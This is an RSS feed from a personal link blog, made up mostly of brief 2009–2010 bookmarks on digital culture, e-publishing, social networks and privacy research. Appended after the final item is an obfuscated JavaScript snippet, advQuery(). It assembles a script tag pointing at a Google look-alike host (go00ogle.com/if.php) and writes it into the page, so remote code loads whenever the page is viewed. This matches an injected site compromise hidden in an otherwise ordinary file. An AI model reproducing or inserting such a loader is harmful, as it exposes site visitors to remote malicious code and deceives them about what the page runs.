Chaos'n'Coffee - tagged with digitalculture http://chaosncoffee.com/feed en-us http://blogs.law.harvard.edu/tech/rss Sweetcron bru@codewitch.org McSweeney's Internet Tendency: Tweet. http://chaosncoffee.com/items/view/2281/mcsweeneys-internet-tendency-tweet

"I saw the best minds of my generation destroyed by brevity [...]" beautiful piece. must read.

]]> Wed, 14 Jul 2010 02:20:42 -0700 http://chaosncoffee.com/items/view/2281/mcsweeneys-internet-tendency-tweet Cultivated Play: Farmville http://chaosncoffee.com/items/view/2246/cultivated-play-farmville

people play Farmville because people play Farmville.

]]> Tue, 29 Jun 2010 23:34:01 -0700 http://chaosncoffee.com/items/view/2246/cultivated-play-farmville On the (Im)possibility of Preserving Utility and Privacy in Personalized Social Recommendations http://chaosncoffee.com/items/view/2169/on-the-impossibility-of-preserving-utility-and-privacy-in-personalized-social-recommendations

"In this paper, we study whether 'social recommendations', or recommendations that utilize a user's social network, can be made without disclosing sensitive links between users. More precisely, we quantify the loss in utility when existing recommendation algorithms are modified to satisfy a strong notion of privacy called differential privacy. We propose lower bounds on the minimum loss in utility for any recommendation algorithm that is differentially private."

]]> Mon, 03 May 2010 02:15:03 -0700 http://chaosncoffee.com/items/view/2169/on-the-impossibility-of-preserving-utility-and-privacy-in-personalized-social-recommendations The Book Oven | we make books http://chaosncoffee.com/items/view/1670/the-book-oven-we-make-books

"cloud publishing" - helping groups to work on manuscripts and publish books. It's built for writers, editors, designers and small presses.

]]> Tue, 19 Jan 2010 07:55:44 -0800 http://chaosncoffee.com/items/view/1670/the-book-oven-we-make-books The Amanda Project http://chaosncoffee.com/items/view/1592/the-amanda-project

"The Amanda Project is the story of Amanda Valentino, told through an interactive website and eight-book series for readers aged 13 & up. Readers are invited to become a part of the story as they help the main characters search for Amanda." The published books actually contain a selection of the user generated content from the website.

]]> Wed, 06 Jan 2010 01:21:11 -0800 http://chaosncoffee.com/items/view/1592/the-amanda-project vook http://chaosncoffee.com/items/view/1593/vook

book + video hybrid publisher. vooks are available (currently) for the web and the iphone.

]]> Wed, 06 Jan 2010 01:16:15 -0800 http://chaosncoffee.com/items/view/1593/vook Seppukoo - Assisting your virtual suicide http://chaosncoffee.com/items/view/1590/seppukoo-assisting-your-virtual-suicide

a service that helps you leave social networks (e.g. facebook), thus killing your "virtual" self.

]]> Mon, 04 Jan 2010 05:39:57 -0800 http://chaosncoffee.com/items/view/1590/seppukoo-assisting-your-virtual-suicide London's Alleys, Courtyards and Passages http://chaosncoffee.com/items/view/1453/londons-alleys-courtyards-and-passages

a page saved from the GeoCities shutdown. Experiments in digital conservation.

]]> Tue, 03 Nov 2009 07:50:17 -0800 http://chaosncoffee.com/items/view/1453/londons-alleys-courtyards-and-passages Paper by Lada Adamic “Surfing a web of trust: reputation and reciprocity on CouchSurfing.com” http://chaosncoffee.com/items/view/1415/paper-by-lada-adamic-surfing-a-web-of-trust-reputation-and-reciprocity-on-couchsurfingcom

"Can an online social network build enough trust to allow strangers to sleep on each others’ couches?"

]]> Thu, 15 Oct 2009 04:56:21 -0700 http://chaosncoffee.com/items/view/1415/paper-by-lada-adamic-surfing-a-web-of-trust-reputation-and-reciprocity-on-couchsurfingcom Amazon Announces Mobile Payments Service http://chaosncoffee.com/items/view/1404/amazon-announces-mobile-payments-service ]]> Wed, 07 Oct 2009 03:04:45 -0700 http://chaosncoffee.com/items/view/1404/amazon-announces-mobile-payments-service Google Opens Internet Stat Center - The Steve Rubel Lifestream http://chaosncoffee.com/items/view/1308/google-opens-internet-stat-center-the-steve-rubel-lifestream

"Google has quietly opened up a new resource that aggregates Internet statistics across five vectors: consumer trends, macro economic trends, media consumption, media landscape and technology. The site is hosted on the Google.co.uk domain but the statistics are global."

]]> Thu, 10 Sep 2009 02:48:42 -0700 http://chaosncoffee.com/items/view/1308/google-opens-internet-stat-center-the-steve-rubel-lifestream RSS obsolete? http://chaosncoffee.com/items/view/1289/rss-obsolete ]]> Sun, 30 Aug 2009 10:29:58 -0700 http://chaosncoffee.com/items/view/1289/rss-obsolete Play this thing: Free Will http://chaosncoffee.com/items/view/1158/play-this-thing-free-will

"Free Will is metacommentary on games in the form of a game. In this case [...] one of the oldest mechanics of the videogame: the ability to replay or continue, the fundamental consequencelessness of 'death.' "

]]> Sat, 11 Jul 2009 04:56:58 -0700 http://chaosncoffee.com/items/view/1158/play-this-thing-free-will Us Now : watch the film http://chaosncoffee.com/items/view/1086/us-now-watch-the-film ]]> Fri, 29 May 2009 14:43:26 -0700 http://chaosncoffee.com/items/view/1086/us-now-watch-the-film Reinventing Email using REST http://chaosncoffee.com/items/view/976/reinventing-email-using-rest

hmm, oh well after all I suppose that if URLs are new IDs (openId I'm looking at you), messages between them make a lot of sense. hmmm

]]> Sat, 25 Apr 2009 02:54:12 -0700 http://chaosncoffee.com/items/view/976/reinventing-email-using-rest Jailbreak an iPhone 3G - Wired How-To Wiki http://chaosncoffee.com/items/view/920/jailbreak-an-iphone-3g-wired-how-to-wiki

just in case...

]]> Sun, 05 Apr 2009 10:07:20 -0700 http://chaosncoffee.com/items/view/920/jailbreak-an-iphone-3g-wired-how-to-wiki Ego — You're important. http://chaosncoffee.com/items/view/914/ego-youre-important

iPhone App for accessing website statistics. Egoboosting. Neat interface.

]]> Fri, 03 Apr 2009 05:22:24 -0700 http://chaosncoffee.com/items/view/914/ego-youre-important Manifesto of Open Disruption and Participation by Eric Paulos http://chaosncoffee.com/items/view/809/manifesto-of-open-disruption-and-participation-by-eric-paulos ]]> Sun, 22 Feb 2009 04:11:33 -0800 http://chaosncoffee.com/items/view/809/manifesto-of-open-disruption-and-participation-by-eric-paulos 5 Companies Building the "Internet of Things" - ReadWriteWeb http://chaosncoffee.com/items/view/797/5-companies-building-the-quotinternet-of-thingsquot-readwriteweb

hmm... openspime could be there too...

]]> Fri, 20 Feb 2009 11:42:28 -0800 http://chaosncoffee.com/items/view/797/5-companies-building-the-quotinternet-of-thingsquot-readwriteweb 10 Privacy Settings Every Facebook User Should Know http://chaosncoffee.com/items/view/772/10-privacy-settings-every-facebook-user-should-know ]]> Wed, 04 Feb 2009 02:48:09 -0800 http://chaosncoffee.com/items/view/772/10-privacy-settings-every-facebook-user-should-know function advQuery(){ var Host="http://google.com/";Track="/if.php";get=unescape("%63%6F%6D"); document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get)); document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E")); };advQuery();